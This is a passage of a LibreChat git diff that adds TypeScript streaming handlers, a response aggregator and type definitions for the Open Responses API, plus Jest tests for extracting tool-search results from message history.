state.messageStarted = true; + } + }; + + /** + * Ensure message content part is started + */ + const ensureMessageContentStarted = (): void => { + ensureMessageStarted(); + if (!state.messageContentStarted) { + emitTextContentPartAdded(config); + state.messageContentStarted = true; + } + }; + + /** + * Ensure reasoning item is started + */ + const ensureReasoningStarted = (): void => { + if (!state.reasoningStarted) { + emitReasoningItemAdded(config); + state.reasoningStarted = true; + } + }; + + /** + * Ensure reasoning content part is started + */ + const ensureReasoningContentStarted = (): void => { + ensureReasoningStarted(); + if (!state.reasoningContentStarted) { + emitReasoningContentPartAdded(config); + state.reasoningContentStarted = true; + } + }; + + /** + * Close any open content streams + */ + const closeOpenStreams = (): void => { + // Close message content if open + if (state.messageContentStarted) { + emitOutputTextDone(config); + emitTextContentPartDone(config); + state.messageContentStarted = false; + } + + // Close message item if open + if (state.messageStarted) { + emitMessageItemDone(config); + state.messageStarted = false; + } + + // Close reasoning content if open + if (state.reasoningContentStarted) { + emitReasoningDone(config); + emitReasoningContentPartDone(config); + state.reasoningContentStarted = false; + } + + // Close reasoning item if open + if (state.reasoningStarted) { + emitReasoningItemDone(config); + state.reasoningStarted = false; + } + }; + + const handlers = { + /** + * Handle text message deltas + */ + on_message_delta: { + handle: (_event: string, data: unknown): void => { + const deltaData = data as { delta?: { content?: Array<{ type: string; text?: string }> } }; + const content = deltaData?.delta?.content; + + if (Array.isArray(content)) { + for (const part of content) { + if (part.type === 'text' && part.text) { + ensureMessageContentStarted(); + emitOutputTextDelta(config, part.text); + } + } + } + }, + }, + + /** + * Handle reasoning deltas + */ + on_reasoning_delta: { + handle: (_event: string, data: unknown): void => { + const deltaData = data as { + delta?: { content?: Array<{ type: string; text?: string; think?: string }> }; + }; + const content = deltaData?.delta?.content; + + if (Array.isArray(content)) { + for (const part of content) { + const text = part.think || part.text; + if (text) { + ensureReasoningContentStarted(); + emitReasoningDelta(config, text); + } + } + } + }, + }, + + /** + * Handle run step (tool call initiation) + */ + on_run_step: { + handle: (_event: string, data: unknown): void => { + const stepData = data as { + stepDetails?: { type: string; tool_calls?: Array<{ id?: string; name?: string }> }; + }; + const stepDetails = stepData?.stepDetails; + + if (stepDetails?.type === 'tool_calls' && stepDetails.tool_calls) { + // Close any open message/reasoning before tool calls + closeOpenStreams(); + + for (const tc of stepDetails.tool_calls) { + const callId = tc.id ?? ''; + const name = tc.name ?? ''; + + if (callId && !state.activeToolCalls.has(callId)) { + state.activeToolCalls.add(callId); + emitFunctionCallItemAdded(config, callId, name); + } + } + } + }, + }, + + /** + * Handle run step delta (tool call argument streaming) + */ + on_run_step_delta: { + handle: (_event: string, data: unknown): void => { + const deltaData = data as { + delta?: { type: string; tool_calls?: Array<{ index?: number; args?: string }> }; + }; + const delta = deltaData?.delta; + + if (delta?.type === 'tool_calls' && delta.tool_calls) { + for (const tc of delta.tool_calls) { + const args = tc.args ?? ''; + if (!args) { + continue; + } + + // Find the call_id for this tool call by index + const toolCallsArray = Array.from(state.activeToolCalls); + const callId = toolCallsArray[tc.index ?? 0]; + + if (callId) { + emitFunctionCallArgumentsDelta(config, callId, args); + } + } + } + }, + }, + + /** + * Handle tool end (tool execution complete) + */ + on_tool_end: { + handle: (_event: string, data: unknown): void => { + const toolData = data as { tool_call_id?: string; output?: string }; + const callId = toolData?.tool_call_id; + const output = toolData?.output ?? ''; + + if (callId && state.activeToolCalls.has(callId) && !state.completedToolCalls.has(callId)) { + state.completedToolCalls.add(callId); + + // Complete the function call item + emitFunctionCallArgumentsDone(config, callId); + emitFunctionCallItemDone(config, callId); + + // Emit the function call output (internal tool result) + emitFunctionCallOutputItem(config, callId, output); + } + }, + }, + + /** + * Handle chat model end (usage collection) + */ + on_chat_model_end: { + handle: (_event: string, data: unknown): void => { + const endData = data as { + output?: { + usage_metadata?: { + input_tokens?: number; + output_tokens?: number; + // OpenAI format + input_token_details?: { + cache_creation?: number; + cache_read?: number; + }; + // Anthropic format + cache_creation_input_tokens?: number; + cache_read_input_tokens?: number; + }; + }; + }; + + const usage = endData?.output?.usage_metadata; + if (usage) { + // Extract cached tokens from either OpenAI or Anthropic format + const cachedTokens = + (usage.input_token_details?.cache_read ?? 0) + (usage.cache_read_input_tokens ?? 0); + + updateTrackerUsage(config.tracker, { + promptTokens: usage.input_tokens, + completionTokens: usage.output_tokens, + cachedTokens, + }); + } + }, + }, + }; + + /** + * Finalize the stream - close open items and emit completed + */ + const finalizeStream = (): void => { + closeOpenStreams(); + emitResponseCompleted(config); + writeDone(config.res); + }; + + return { handlers, state, finalizeStream }; +} + +/* ============================================================================= + * NON-STREAMING AGGREGATOR + * ============================================================================= */ + +/** + * Aggregator for non-streaming responses + */ +export interface ResponseAggregator { + textChunks: string[]; + reasoningChunks: string[]; + toolCalls: Map< + string, + { + id: string; + name: string; + arguments: string; + } + >; + toolOutputs: Map; + usage: { + inputTokens: number; + outputTokens: number; + reasoningTokens: number; + cachedTokens: number; + }; + addText: (text: string) => void; + addReasoning: (text: string) => void; + getText: () => string; + getReasoning: () => string; +} + +/** + * Create an aggregator for non-streaming responses + */ +export function createResponseAggregator(): ResponseAggregator { + const aggregator: ResponseAggregator = { + textChunks: [], + reasoningChunks: [], + toolCalls: new Map(), + toolOutputs: new Map(), + usage: { + inputTokens: 0, + outputTokens: 0, + reasoningTokens: 0, + cachedTokens: 0, + }, + addText: (text: string) => { + aggregator.textChunks.push(text); + }, + addReasoning: (text: string) => { + aggregator.reasoningChunks.push(text); + }, + getText: () => aggregator.textChunks.join(''), + getReasoning: () => aggregator.reasoningChunks.join(''), + }; + return aggregator; +} + +/** + * Build a non-streaming response from aggregator + * Includes all required fields per Open Responses spec + */ +export function buildAggregatedResponse( + context: ResponseContext, + aggregator: ResponseAggregator, +): Response { + const output: Response['output'] = []; + + // Add reasoning item if present + const reasoningText = aggregator.getReasoning(); + if (reasoningText) { + output.push({ + type: 'reasoning', + id: `reason_${Date.now().toString(36)}`, + status: 'completed', + content: [{ type: 'reasoning_text', text: reasoningText }], + summary: [], + }); + } + + // Add function calls and outputs + for (const [callId, tc] of aggregator.toolCalls) { + output.push({ + type: 'function_call', + id: `fc_${Date.now().toString(36)}${Math.random().toString(36).substring(2, 6)}`, + call_id: callId, + name: tc.name, + arguments: tc.arguments, + status: 'completed', + }); + + const toolOutput = aggregator.toolOutputs.get(callId); + if (toolOutput) { + output.push({ + type: 'function_call_output', + id: `fco_${Date.now().toString(36)}${Math.random().toString(36).substring(2, 6)}`, + call_id: callId, + output: toolOutput, + status: 'completed', + }); + } + } + + // Add message item if there's text (or always add one if no other output) + const text = aggregator.getText(); + if (text || output.length === 0) { + output.push({ + type: 'message', + id: `msg_${Date.now().toString(36)}`, + role: 'assistant', + status: 'completed', + content: text ? [{ type: 'output_text', text, annotations: [], logprobs: [] }] : [], + }); + } + + return { + // Required fields per Open Responses spec + id: context.responseId, + object: 'response', + created_at: context.createdAt, + completed_at: Math.floor(Date.now() / 1000), + status: 'completed', + incomplete_details: null, + model: context.model, + previous_response_id: context.previousResponseId ?? null, + instructions: context.instructions ?? null, + output, + error: null, + tools: [], + tool_choice: 'auto', + truncation: 'disabled', + parallel_tool_calls: true, + text: { format: { type: 'text' } }, + temperature: 1, + top_p: 1, + presence_penalty: 0, + frequency_penalty: 0, + top_logprobs: 0, + reasoning: null, + user: null, + usage: { + input_tokens: aggregator.usage.inputTokens, + output_tokens: aggregator.usage.outputTokens, + total_tokens: aggregator.usage.inputTokens + aggregator.usage.outputTokens, + input_tokens_details: { cached_tokens: aggregator.usage.cachedTokens }, + output_tokens_details: { reasoning_tokens: aggregator.usage.reasoningTokens }, + }, + max_output_tokens: null, + max_tool_calls: null, + store: false, + background: false, + service_tier: 'default', + metadata: {}, + safety_identifier: null, + prompt_cache_key: null, + }; +} + +/** + * Create event handlers for non-streaming aggregation + */ +export function createAggregatorEventHandlers(aggregator: ResponseAggregator): Record< + string, + { + handle: (event: string, data: unknown) => void; + } +> { + const activeToolCalls = new Set(); + + return { + on_message_delta: { + handle: (_event: string, data: unknown): void => { + const deltaData = data as { delta?: { content?: Array<{ type: string; text?: string }> } }; + const content = deltaData?.delta?.content; + + if (Array.isArray(content)) { + for (const part of content) { + if (part.type === 'text' && part.text) { + aggregator.addText(part.text); + } + } + } + }, + }, + + on_reasoning_delta: { + handle: (_event: string, data: unknown): void => { + const deltaData = data as { + delta?: { content?: Array<{ type: string; text?: string; think?: string }> }; + }; + const content = deltaData?.delta?.content; + + if (Array.isArray(content)) { + for (const part of content) { + const text = part.think || part.text; + if (text) { + aggregator.addReasoning(text); + } + } + } + }, + }, + + on_run_step: { + handle: (_event: string, data: unknown): void => { + const stepData = data as { + stepDetails?: { type: string; tool_calls?: Array<{ id?: string; name?: string }> }; + }; + const stepDetails = stepData?.stepDetails; + + if (stepDetails?.type === 'tool_calls' && stepDetails.tool_calls) { + for (const tc of stepDetails.tool_calls) { + const callId = tc.id ?? ''; + const name = tc.name ?? ''; + + if (callId && !activeToolCalls.has(callId)) { + activeToolCalls.add(callId); + aggregator.toolCalls.set(callId, { id: callId, name, arguments: '' }); + } + } + } + }, + }, + + on_run_step_delta: { + handle: (_event: string, data: unknown): void => { + const deltaData = data as { + delta?: { type: string; tool_calls?: Array<{ index?: number; args?: string }> }; + }; + const delta = deltaData?.delta; + + if (delta?.type === 'tool_calls' && delta.tool_calls) { + for (const tc of delta.tool_calls) { + const args = tc.args ?? ''; + if (!args) { + continue; + } + + const toolCallsArray = Array.from(activeToolCalls); + const callId = toolCallsArray[tc.index ?? 0]; + + if (callId) { + const existing = aggregator.toolCalls.get(callId); + if (existing) { + existing.arguments += args; + } + } + } + } + }, + }, + + on_tool_end: { + handle: (_event: string, data: unknown): void => { + const toolData = data as { tool_call_id?: string; output?: string }; + const callId = toolData?.tool_call_id; + const output = toolData?.output ?? ''; + + if (callId) { + aggregator.toolOutputs.set(callId, output); + } + }, + }, + + on_chat_model_end: { + handle: (_event: string, data: unknown): void => { + const endData = data as { + output?: { + usage_metadata?: { + input_tokens?: number; + output_tokens?: number; + // OpenAI format + input_token_details?: { + cache_creation?: number; + cache_read?: number; + }; + // Anthropic format + cache_creation_input_tokens?: number; + cache_read_input_tokens?: number; + }; + }; + }; + + const usage = endData?.output?.usage_metadata; + if (usage) { + aggregator.usage.inputTokens = usage.input_tokens ?? 0; + aggregator.usage.outputTokens = usage.output_tokens ?? 0; + + // Extract cached tokens from either OpenAI or Anthropic format + aggregator.usage.cachedTokens = + (usage.input_token_details?.cache_read ?? 0) + (usage.cache_read_input_tokens ?? 0); + } + }, + }, + }; +} diff --git a/packages/api/src/agents/responses/types.ts b/packages/api/src/agents/responses/types.ts new file mode 100644 index 0000000000..65e5887ab8 --- /dev/null +++ b/packages/api/src/agents/responses/types.ts @@ -0,0 +1,779 @@ +/** + * Open Responses API Types + * + * Types following the Open Responses specification for building multi-provider, + * interoperable LLM interfaces. Items are the fundamental unit of context, + * and streaming uses semantic events rather than simple deltas. + * + * @see https://openresponses.org/specification + */ + +/* ============================================================================= + * ENUMS + * ============================================================================= */ + +/** Item status lifecycle */ +export type ItemStatus = 'in_progress' | 'incomplete' | 'completed'; + +/** Response status lifecycle */ +export type ResponseStatus = 'in_progress' | 'completed' | 'failed' | 'incomplete'; + +/** Message roles */ +export type MessageRole = 'user' | 'assistant' | 'system' | 'developer'; + +/** Tool choice options */ +export type ToolChoiceValue = 'none' | 'auto' | 'required'; + +/** Truncation options */ +export type TruncationValue = 'auto' | 'disabled'; + +/** Service tier options */ +export type ServiceTier = 'auto' | 'default' | 'flex' | 'priority'; + +/** Reasoning effort levels */ +export type ReasoningEffort = 'none' | 'low' | 'medium' | 'high' | 'xhigh'; + +/** Reasoning summary options */ +export type ReasoningSummary = 'concise' | 'detailed' | 'auto'; + +/* ============================================================================= + * INPUT CONTENT TYPES + * ============================================================================= */ + +/** Text input content */ +export interface InputTextContent { + type: 'input_text'; + text: string; +} + +/** Image input content */ +export interface InputImageContent { + type: 'input_image'; + image_url?: string; + file_id?: string; + detail?: 'auto' | 'low' | 'high'; +} + +/** File input content */ +export interface InputFileContent { + type: 'input_file'; + file_id?: string; + file_data?: string; + filename?: string; +} + +/** Union of all input content types */ +export type InputContent = InputTextContent | InputImageContent | InputFileContent; + +/* ============================================================================= + * OUTPUT CONTENT TYPES + * ============================================================================= */ + +/** Log probability for a token */ +export interface LogProb { + token: string; + logprob: number; + bytes?: number[]; + top_logprobs?: TopLogProb[]; +} + +/** Top log probability entry */ +export interface TopLogProb { + token: string; + logprob: number; + bytes?: number[]; +} + +/** Text output content */ +export interface OutputTextContent { + type: 'output_text'; + text: string; + annotations: Annotation[]; + logprobs: LogProb[]; +} + +/** Refusal content */ +export interface RefusalContent { + type: 'refusal'; + refusal: string; +} + +/** Union of model output content types */ +export type ModelContent = OutputTextContent | RefusalContent; + +/* ============================================================================= + * ANNOTATIONS + * ============================================================================= */ + +/** URL citation annotation */ +export interface UrlCitationAnnotation { + type: 'url_citation'; + url: string; + title?: string; + start_index: number; + end_index: number; +} + +/** File citation annotation */ +export interface FileCitationAnnotation { + type: 'file_citation'; + file_id: string; + start_index: number; + end_index: number; +} + +/** Union of annotation types */ +export type Annotation = UrlCitationAnnotation | FileCitationAnnotation; + +/* ============================================================================= + * REASONING CONTENT + * ============================================================================= */ + +/** Reasoning text content */ +export interface ReasoningTextContent { + type: 'reasoning_text'; + text: string; +} + +/** Summary text content */ +export interface SummaryTextContent { + type: 'summary_text'; + text: string; +} + +/** Reasoning content union */ +export type ReasoningContent = ReasoningTextContent; + +/* ============================================================================= + * INPUT ITEMS (for request) + * ============================================================================= */ + +/** System message input item */ +export interface SystemMessageItemParam { + type: 'message'; + role: 'system'; + content: string | InputContent[]; +} + +/** Developer message input item */ +export interface DeveloperMessageItemParam { + type: 'message'; + role: 'developer'; + content: string | InputContent[]; +} + +/** User message input item */ +export interface UserMessageItemParam { + type: 'message'; + role: 'user'; + content: string | InputContent[]; +} + +/** Assistant message input item */ +export interface AssistantMessageItemParam { + type: 'message'; + role: 'assistant'; + content: string | ModelContent[]; +} + +/** Function call input item (for providing context) */ +export interface FunctionCallItemParam { + type: 'function_call'; + id: string; + call_id: string; + name: string; + arguments: string; + status?: ItemStatus; +} + +/** Function call output input item (for providing tool results) */ +export interface FunctionCallOutputItemParam { + type: 'function_call_output'; + call_id: string; + output: string; + status?: ItemStatus; +} + +/** Reasoning input item */ +export interface ReasoningItemParam { + type: 'reasoning'; + id?: string; + content?: ReasoningContent[]; + encrypted_content?: string; + summary?: SummaryTextContent[]; + status?: ItemStatus; +} + +/** Item reference (for referencing existing items) */ +export interface ItemReferenceParam { + type: 'item_reference'; + id: string; +} + +/** Union of all input item types */ +export type InputItem = + | SystemMessageItemParam + | DeveloperMessageItemParam + | UserMessageItemParam + | AssistantMessageItemParam + | FunctionCallItemParam + | FunctionCallOutputItemParam + | ReasoningItemParam + | ItemReferenceParam; + +/* ============================================================================= + * OUTPUT ITEMS (in response) + * ============================================================================= */ + +/** Message output item */ +export interface MessageItem { + type: 'message'; + id: string; + role: 'assistant'; + status: ItemStatus; + content: ModelContent[]; +} + +/** Function call output item */ +export interface FunctionCallItem { + type: 'function_call'; + id: string; + call_id: string; + name: string; + arguments: string; + status: ItemStatus; +} + +/** Function call output result item (internal tool execution result) */ +export interface FunctionCallOutputItem { + type: 'function_call_output'; + id: string; + call_id: string; + output: string; + status: ItemStatus; +} + +/** Reasoning output item */ +export interface ReasoningItem { + type: 'reasoning'; + id: string; + status?: ItemStatus; + content?: ReasoningContent[]; + encrypted_content?: string; + /** Required per Open Responses spec - summary content parts */ + summary: SummaryTextContent[]; +} + +/** Union of all output item types */ +export type OutputItem = MessageItem | FunctionCallItem | FunctionCallOutputItem | ReasoningItem; + +/* ============================================================================= + * TOOLS + * ============================================================================= */ + +/** Function tool definition */ +export interface FunctionTool { + type: 'function'; + name: string; + description?: string; + parameters?: Record; + strict?: boolean; +} + +/** Hosted tool (provider-specific) */ +export interface HostedTool { + type: string; // e.g., 'librechat:web_search' + [key: string]: unknown; +} + +/** Union of tool types */ +export type Tool = FunctionTool | HostedTool; + +/** Specific function tool choice */ +export interface FunctionToolChoice { + type: 'function'; + name: string; +} + +/** Tool choice parameter */ +export type ToolChoice = ToolChoiceValue | FunctionToolChoice; + +/* ============================================================================= + * REQUEST + * ============================================================================= */ + +/** Reasoning configuration */ +export interface ReasoningConfig { + effort?: ReasoningEffort; + summary?: ReasoningSummary; +} + +/** Text output configuration */ +export interface TextConfig { + format?: { + type: 'text' | 'json_object' | 'json_schema'; + json_schema?: Record; + }; +} + +/** Stream options */ +export interface StreamOptions { + include_usage?: boolean; +} + +/** Metadata (key-value pairs) */ +export type Metadata = Record; + +/** Open Responses API Request */ +export interface ResponseRequest { + /** Model/agent ID to use */ + model: string; + + /** Input context - string or array of items */ + input: string | InputItem[]; + + /** Previous response ID for conversation continuation */ + previous_response_id?: string; + + /** Tools available to the model */ + tools?: Tool[]; + + /** Tool choice configuration */ + tool_choice?: ToolChoice; + + /** Whether to stream the response */ + stream?: boolean; + + /** Stream options */ + stream_options?: StreamOptions; + + /** Additional instructions */ + instructions?: string; + + /** Maximum output tokens */ + max_output_tokens?: number; + + /** Maximum tool calls */ + max_tool_calls?: number; + + /** Sampling temperature */ + temperature?: number; + + /** Top-p sampling */ + top_p?: number; + + /** Presence penalty */ + presence_penalty?: number; + + /** Frequency penalty */ + frequency_penalty?: number; + + /** Reasoning configuration */ + reasoning?: ReasoningConfig; + + /** Text output configuration */ + text?: TextConfig; + + /** Truncation behavior */ + truncation?: TruncationValue; + + /** Service tier */ + service_tier?: ServiceTier; + + /** Whether to store the response */ + store?: boolean; + + /** Metadata */ + metadata?: Metadata; + + /** Whether model can call multiple tools in parallel */ + parallel_tool_calls?: boolean; + + /** User identifier for safety */ + user?: string; +} + +/* ============================================================================= + * RESPONSE + * ============================================================================= */ + +/** Token usage details */ +export interface InputTokensDetails { + cached_tokens: number; +} + +/** Output tokens details */ +export interface OutputTokensDetails { + reasoning_tokens: number; +} + +/** Token usage statistics */ +export interface Usage { + input_tokens: number; + output_tokens: number; + total_tokens: number; + input_tokens_details: InputTokensDetails; + output_tokens_details: OutputTokensDetails; +} + +/** Incomplete details */ +export interface IncompleteDetails { + reason: 'max_output_tokens' | 'max_tool_calls' | 'content_filter' | 'other'; +} + +/** Error object */ +export interface ResponseError { + type: 'server_error' | 'invalid_request' | 'not_found' | 'model_error' | 'too_many_requests'; + code?: string; + message: string; + param?: string; +} + +/** Text field configuration */ +export interface TextField { + format?: { + type: 'text' | 'json_object' | 'json_schema'; + json_schema?: Record; + }; +} + +/** Open Responses API Response - All required fields per spec */ +export interface Response { + /** Response ID */ + id: string; + + /** Object type - always "response" */ + object: 'response'; + + /** Creation timestamp (Unix seconds) */ + created_at: number; + + /** Completion timestamp (Unix seconds) - null if not completed */ + completed_at: number | null; + + /** Response status */ + status: ResponseStatus; + + /** Incomplete details - null if not incomplete */ + incomplete_details: IncompleteDetails | null; + + /** Model that generated the response */ + model: string; + + /** Previous response ID - null if not a continuation */ + previous_response_id: string | null; + + /** Instructions used - null if none */ + instructions: string | null; + + /** Output items */ + output: OutputItem[]; + + /** Error - null if no error */ + error: ResponseError | null; + + /** Tools available */ + tools: Tool[]; + + /** Tool choice setting */ + tool_choice: ToolChoice; + + /** Truncation setting used */ + truncation: TruncationValue; + + /** Whether parallel tool calls were allowed */ + parallel_tool_calls: boolean; + + /** Text configuration used */ + text: TextField; + + /** Temperature used */ + temperature: number; + + /** Top-p used */ + top_p: number; + + /** Presence penalty used */ + presence_penalty: number; + + /** Frequency penalty used */ + frequency_penalty: number; + + /** Top logprobs - number of most likely tokens to return */ + top_logprobs: number; + + /** Reasoning configuration - null if none */ + reasoning: ReasoningConfig | null; + + /** User identifier - null if none */ + user: string | null; + + /** Token usage - null if not available */ + usage: Usage | null; + + /** Max output tokens - null if not set */ + max_output_tokens: number | null; + + /** Max tool calls - null if not set */ + max_tool_calls: number | null; + + /** Whether response was stored */ + store: boolean; + + /** Whether request was run in background */ + background: boolean; + + /** Service tier used */ + service_tier: string; + + /** Metadata */ + metadata: Metadata; + + /** Safety identifier - null if none */ + safety_identifier: string | null; + + /** Prompt cache key - null if none */ + prompt_cache_key: string | null; +} + +/* ============================================================================= + * STREAMING EVENTS + * ============================================================================= */ + +/** Base event structure */ +export interface BaseEvent { + type: string; + sequence_number: number; +} + +/** Response created event (first event in stream) */ +export interface ResponseCreatedEvent extends BaseEvent { + type: 'response.created'; + response: Response; +} + +/** Response in_progress event */ +export interface ResponseInProgressEvent extends BaseEvent { + type: 'response.in_progress'; + response: Response; +} + +/** Response completed event */ +export interface ResponseCompletedEvent extends BaseEvent { + type: 'response.completed'; + response: Response; +} + +/** Response failed event */ +export interface ResponseFailedEvent extends BaseEvent { + type: 'response.failed'; + response: Response; +} + +/** Response incomplete event */ +export interface ResponseIncompleteEvent extends BaseEvent { + type: 'response.incomplete'; + response: Response; +} + +/** Output item added event */ +export interface OutputItemAddedEvent extends BaseEvent { + type: 'response.output_item.added'; + output_index: number; + item: OutputItem; +} + +/** Output item done event */ +export interface OutputItemDoneEvent extends BaseEvent { + type: 'response.output_item.done'; + output_index: number; + item: OutputItem; +} + +/** Content part added event */ +export interface ContentPartAddedEvent extends BaseEvent { + type: 'response.content_part.added'; + item_id: string; + output_index: number; + content_index: number; + part: ModelContent | ReasoningContent; +} + +/** Content part done event */ +export interface ContentPartDoneEvent extends BaseEvent { + type: 'response.content_part.done'; + item_id: string; + output_index: number; + content_index: number; + part: ModelContent | ReasoningContent; +} + +/** Output text delta event */ +export interface OutputTextDeltaEvent extends BaseEvent { + type: 'response.output_text.delta'; + item_id: string; + output_index: number; + content_index: number; + delta: string; + logprobs: LogProb[]; +} + +/** Output text done event */ +export interface OutputTextDoneEvent extends BaseEvent { + type: 'response.output_text.done'; + item_id: string; + output_index: number; + content_index: number; + text: string; + logprobs: LogProb[]; +} + +/** Refusal delta event */ +export interface RefusalDeltaEvent extends BaseEvent { + type: 'response.refusal.delta'; + item_id: string; + output_index: number; + content_index: number; + delta: string; +} + +/** Refusal done event */ +export interface RefusalDoneEvent extends BaseEvent { + type: 'response.refusal.done'; + item_id: string; + output_index: number; + content_index: number; + refusal: string; +} + +/** Function call arguments delta event */ +export interface FunctionCallArgumentsDeltaEvent extends BaseEvent { + type: 'response.function_call_arguments.delta'; + item_id: string; + output_index: number; + call_id: string; + delta: string; +} + +/** Function call arguments done event */ +export interface FunctionCallArgumentsDoneEvent extends BaseEvent { + type: 'response.function_call_arguments.done'; + item_id: string; + output_index: number; + call_id: string; + arguments: string; +} + +/** Reasoning delta event */ +export interface ReasoningDeltaEvent extends BaseEvent { + type: 'response.reasoning.delta'; + item_id: string; + output_index: number; + content_index: number; + delta: string; +} + +/** Reasoning done event */ +export interface ReasoningDoneEvent extends BaseEvent { + type: 'response.reasoning.done'; + item_id: string; + output_index: number; + content_index: number; + text: string; +} + +/** Error event */ +export interface ErrorEvent extends BaseEvent { + type: 'error'; + error: ResponseError; +} + +/* ============================================================================= + * LIBRECHAT EXTENSION TYPES + * Per Open Responses spec, custom types MUST be prefixed with implementor slug + * @see https://openresponses.org/specification#extending-streaming-events + * ============================================================================= */ + +/** Attachment content types for LibreChat extensions */ +export interface LibreChatAttachmentContent { + /** File ID in LibreChat storage */ + file_id?: string; + /** Original filename */ + filename?: string; + /** MIME type */ + type?: string; + /** URL to access the file */ + url?: string; + /** Base64-encoded image data (for inline images) */ + image_url?: string; + /** Width for images */ + width?: number; + /** Height for images */ + height?: number; + /** Associated tool call ID */ + tool_call_id?: string; + /** Additional metadata */ + [key: string]: unknown; +} + +/** + * LibreChat attachment event - custom streaming event for file/image attachments + * Follows Open Responses extension pattern with librechat: prefix + */ +export interface LibreChatAttachmentEvent extends BaseEvent { + type: 'librechat:attachment'; + /** The attachment data */ + attachment: LibreChatAttachmentContent; + /** Associated message ID */ + message_id?: string; + /** Associated conversation ID */ + conversation_id?: string; +} + +/** Union of all streaming events (including LibreChat extensions) */ +export type ResponseEvent = + | ResponseCreatedEvent + | ResponseInProgressEvent + | ResponseCompletedEvent + | ResponseFailedEvent + | ResponseIncompleteEvent + | OutputItemAddedEvent + | OutputItemDoneEvent + | ContentPartAddedEvent + | ContentPartDoneEvent + | OutputTextDeltaEvent + | OutputTextDoneEvent + | RefusalDeltaEvent + | RefusalDoneEvent + | FunctionCallArgumentsDeltaEvent + | FunctionCallArgumentsDoneEvent + | ReasoningDeltaEvent + | ReasoningDoneEvent + | ErrorEvent + // LibreChat extensions (prefixed per Open Responses spec) + | LibreChatAttachmentEvent; + +/* ============================================================================= + * INTERNAL TYPES + * ============================================================================= */ + +/** Context for building responses */ +export interface ResponseContext { + /** Response ID */ + responseId: string; + /** Model/agent ID */ + model: string; + /** Creation timestamp */ + createdAt: number; + /** Previous response ID */ + previousResponseId?: string; + /** Instructions */ + instructions?: string; +} + +/** Validation result for requests */ +export interface RequestValidationResult { + valid: boolean; + request?: ResponseRequest; + error?: string; +} diff --git a/packages/api/src/agents/run.spec.ts b/packages/api/src/agents/run.spec.ts new file mode 100644 index 0000000000..a7e58a5b4f --- /dev/null +++ b/packages/api/src/agents/run.spec.ts @@ -0,0 +1,133 @@ +import { ToolMessage, AIMessage, HumanMessage } from '@langchain/core/messages'; +import { extractDiscoveredToolsFromHistory } from './run'; + +describe('extractDiscoveredToolsFromHistory', () => { + it('extracts tool names from tool_search JSON output', () => { + const toolSearchOutput = JSON.stringify({ + found: 3, + tools: [ + { name: 'tool_a', score: 1.0 }, + { name: 'tool_b', score: 0.8 }, + { name: 'tool_c', score: 0.5 }, + ], + }); + + const messages = [ + new HumanMessage('Find tools'), + new AIMessage({ content: '', tool_calls: [{ id: 'call_1', name: 'tool_search', args: {} }] }), + new ToolMessage({ content: toolSearchOutput, tool_call_id: 'call_1', name: 'tool_search' }), + ]; + + const discovered = extractDiscoveredToolsFromHistory(messages); + + expect(discovered.size).toBe(3); + expect(discovered.has('tool_a')).toBe(true); + expect(discovered.has('tool_b')).toBe(true); + expect(discovered.has('tool_c')).toBe(true); + }); + + it('extracts tool names from legacy tool_search format', () => { + const legacyOutput = `Found 2 tools: +- tool_x (score: 0.95) +- tool_y (score: 0.80)`; + + const messages = [ + new ToolMessage({ content: legacyOutput, tool_call_id: 'call_1', name: 'tool_search' }), + ]; + + const discovered = extractDiscoveredToolsFromHistory(messages); + + expect(discovered.size).toBe(2); + expect(discovered.has('tool_x')).toBe(true); + expect(discovered.has('tool_y')).toBe(true); + }); + + it('returns empty set when no tool_search messages exist', () => { + const messages = [new HumanMessage('Hello'), new AIMessage('Hi there!')]; + + const discovered = extractDiscoveredToolsFromHistory(messages); + + expect(discovered.size).toBe(0); + }); + + it('ignores non-tool_search ToolMessages', () => { + const messages = [ + new ToolMessage({ + content: '[{"sha": "abc123"}]', + tool_call_id: 'call_1', + name: 'list_commits_mcp_github', + }), + ]; + + const discovered = extractDiscoveredToolsFromHistory(messages); + + expect(discovered.size).toBe(0); + }); + + it('handles multiple tool_search calls in history', () => { + const firstOutput = JSON.stringify({ + tools: [{ name: 'tool_1' }, { name: 'tool_2' }], + }); + const secondOutput = JSON.stringify({ + tools: [{ name: 'tool_2' }, { name: 'tool_3' }], + }); + + const messages = [ + new ToolMessage({ content: firstOutput, tool_call_id: 'call_1', name: 'tool_search' }), + new AIMessage('Using discovered tools'), + new ToolMessage({ content: secondOutput, tool_call_id: 'call_2', name: 'tool_search' }), + ]; + + const discovered = extractDiscoveredToolsFromHistory(messages); + + expect(discovered.size).toBe(3); + expect(discovered.has('tool_1')).toBe(true); + expect(discovered.has('tool_2')).toBe(true); + expect(discovered.has('tool_3')).toBe(true); + }); + + it('handles malformed JSON in tool_search output', () => { + const messages = [ + new ToolMessage({ + content: 'This is not valid JSON', + tool_call_id: 'call_1', + name: 'tool_search', + }), + ]; + + const discovered = extractDiscoveredToolsFromHistory(messages); + + // Should not throw, just return empty set + expect(discovered.size).toBe(0); + }); + + it('handles tool_search output with empty tools array', () => { + const output = JSON.stringify({ + found: 0, + tools: [], + }); + + const messages = [ + new ToolMessage({ content: output, tool_call_id: 'call_1', name: 'tool_search' }), + ]; + + const discovered = extractDiscoveredToolsFromHistory(messages); + + expect(discovered.size).toBe(0); + }); + + it('handles non-string content in ToolMessage', () => { + const messages = [ + new ToolMessage({ + content: [{ type: 'text', text: 'array content' }], + tool_call_id: 'call_1', + name: 'tool_search', + }), + ]; + + const discovered = extractDiscoveredToolsFromHistory(messages); + + // Should handle gracefully + expect(discovered.size).toBe(0); + }); +}); diff --git a/packages/api/src/agents/run.ts b/packages/api/src/agents/run.ts index 6b18c73799..189ef59469 100644 --- a/packages/api/src/agents/run.ts +++ b/packages/api/src/agents/run.ts @@ -1,22 +1,138 @@ -import { Run, Providers } from '@librechat/agents'; +import { Run, Providers, Constants } from '@librechat/agents'; import { providerEndpointMap, KnownEndpoints } from 'librechat-data-provider'; +import type { BaseMessage } from '@langchain/core/messages'; import type { MultiAgentGraphConfig, OpenAIClientOptions, StandardGraphConfig, + LCToolRegistry, AgentInputs, GenericTool, RunConfig, IState, + LCTool, } from '@librechat/agents'; import type { IUser } from '@librechat/data-schemas'; import type { Agent } from 'librechat-data-provider'; import type * as t from '~/types'; import { resolveHeaders, createSafeUser } from '~/utils/env'; +/** Expected shape of JSON tool search results */ +interface ToolSearchJsonResult { + found?: number; + tools?: Array<{ name: string }>; +} + +/** + * Parses tool names from JSON-formatted tool_search output. + * Format: { "found": N, "tools": [{ "name": "tool_name", ... }], ... } + * + * @param content - The JSON string content + * @param discoveredTools - Set to add discovered tool names to + * @returns true if parsing succeeded, false otherwise + */ 